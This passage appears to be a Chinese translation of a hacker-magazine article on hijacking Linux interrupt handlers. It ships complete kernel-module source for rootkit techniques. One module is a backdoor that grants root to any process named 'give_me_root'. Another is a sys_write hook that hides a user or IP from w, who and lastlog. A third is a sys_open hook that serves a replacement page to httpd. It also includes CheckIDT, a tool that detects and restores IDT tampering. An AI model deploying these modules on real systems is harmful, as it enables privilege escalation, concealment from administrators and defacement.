gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# OK,我们是ROOT了,该技术可以适应到任何的系统调用。 ------[ 5.3.2 - sys_write钩子 SYS_WRITE: ---------- EAX: 4 EBX: file descriptor ECX: ptr to output buffer EDX: count of bytes to send 我们将hook sys_write来替换一个字符串。然后,我们也可以替换整个系统的。 asm处理函数部分跟在 5.3.1 相同 C handler ---------- asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } - 比较是否是要操作的进程 - 分配buffer空间,接收来自的regs->ecx字符串 - 我们把string从用户空间拷贝到内核空间(copy_from_user) - 查找我们要隐藏到的string - 假如发现替换成我们要变成的string - 把我们替换过的string拷贝到用户空间(copy_to_user) 练习 : -------------- %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=alert7 false_string=marcel progy=ps Inserting hook Hooking finish [alert7@redhat73 alert7]$ w 8:36am up 7:07, 3 users, load average: 0.02, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/1 192.168.0.176 1:47am 3.00s 0.28s 0.28s -bash marcel pts/2 192.168.0.176 8:34am 0.00s 0.10s 0.01s w [alert7@redhat73 alert7]$ ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 18602 0.0 0.6 2464 1288 pts/2 S 08:34 0:00 -bash marcel 18685 0.0 0.3 2580 664 pts/2 R 08:41 0:00 ps -au 字符串"alert7"被隐藏起来了。整个源代码在附件CODE 3中。该例子非常简单但是非常 令人感兴趣。我们把"alert7"替换成了"marcel", 我们也可改变我们的IP地址,不但可以 hook w ,who,lastlog我们还可以hook kogd等等 完全的sys_write钩子 ------------------------------ 完全的sys_write钩子有时候是比较有用的,比如我们要把一个IP地址变成另外一个。但是假如 我们完全改变一个string,那么我们将不再隐藏了。假如你把一个string变成另一个,它将影响 到整个系统。甚至简单的cat也受影响: %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % C 处理函数跟上面的一样,就是不带那个判断条件。然而,这样就使的系统会变的很慢。 ----[ 5.4 - fun钩子 该例子仅仅for fun,请不要滥用。感谢Spacewalker,这是他的想法。hook系统调用sys_open,所以 它打开其他文件时将使用另外个已经定义一个的文件替代。在这里只对httpd做处理。 SYS_OPEN: --------- EAX : 5 EBX : ptr to pathname ECX : file access EDX : file permissions asm 处理函数通上 C handler : ------------ asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } 当我们hook sys_open,假如httpd调用sys_open并且试图打开index.html的时候,我们 就把index.html变成其他选择的页面。我们也可以使用MODULE_PARM很容易的改变这个页。假如 是类试vi编辑器的时候,它将看到真正的index.html! 使用这种技术hook一个系统调用是非常容易的事情。此外,只要做些小改动就可以hook 其他系统调用。仅仅要做的就是给C处理函数做些小改动。然而,我们玩的是asm处理函数,例如 颠倒两个系统调用。我们仅需要比较eax值并且把该值改成想要的系统调用值。为于管理员来说, 我们可以hook一些“热门”的系统调用并且只要该系统调用被调用就会警告。我们也可以对 syscall_table修改的报警。 --[ 6 - CHECKIDT CheckIDT是个小程序,在用户模式玩转IDT,它不需要使用LKM,。感谢Phrack 58关于 /dev/kmem的技术文章。该小程序就是基于这个写的。CheckIDT帮助您编写LKM并且防止重起。 另一方面,该软件能对修改IDT作出警告,这对管理员是非常有用的。它使用tripwire的风格 保存IDT的状态。它在文件中保存着IDT每个描述符,然后和现在的做比较。 一些使用例子 : ----------------------- [root@redhat73 root]# ./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A showw all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file [root@redhat73 root]# ./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0108ab0 KERNEL_CS 3 System gate int3 Thanks for choosing kad's products :-) 我们可以获得一个中断的描述信息。使用"-A"允许我们获得所有的中断。 [root@redhat73 root]# ./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) [root@redhat73 root]# insmod hookstub-V0.3.2.o interrupt=3 Warning: loading hookstub-V0.3.2.o will taint the kernel: no license Inserting hook Hooking finished [root@redhat73 root]# ./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0108ab0 New Value : 0xcc87b064 Thanks for choosing kad's products :-) [root@redhat73 root]# ./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) [root@redhat73 root]# ./checkidt -C All values are same Thanks for choosing kad's products :-) [root@redhat73 root]# lsmod Module Size Used by Tainted: P hookstub-V0.3.2 1712 0 (unused) ... 所以,CheckIDT可以恢复插入模块之前的IDT的值。模块还在那里,但已经不起作用了。 作为 tripwire,我建议你把保存IDT的文件放在只读区。 注 : 假如模块是隐藏着的,你也可以根据IDT的不同从而确定隐藏模块的存在。 整个代码在附件 CODE 4. --[ 7 - REFERENCES [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat 致谢 - 特别感谢freya, django和neuro帮助我把本文转化为英文。再次感谢skyper的建议,还要感谢多少人:) - 感谢Wax在asm上给我的宝贵意见 - 非常感谢mayhem, insulted, ptah 和 sauron 测试代码并且校验本文 - 感谢#frogs频道的人, #thebhz 频道的人, #gandalf 频道的人, #fr 频道的人, 感谢所有在RtC.Party 的人们,我不会忘记的,谢谢。 --[ 8 - 附件 CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=|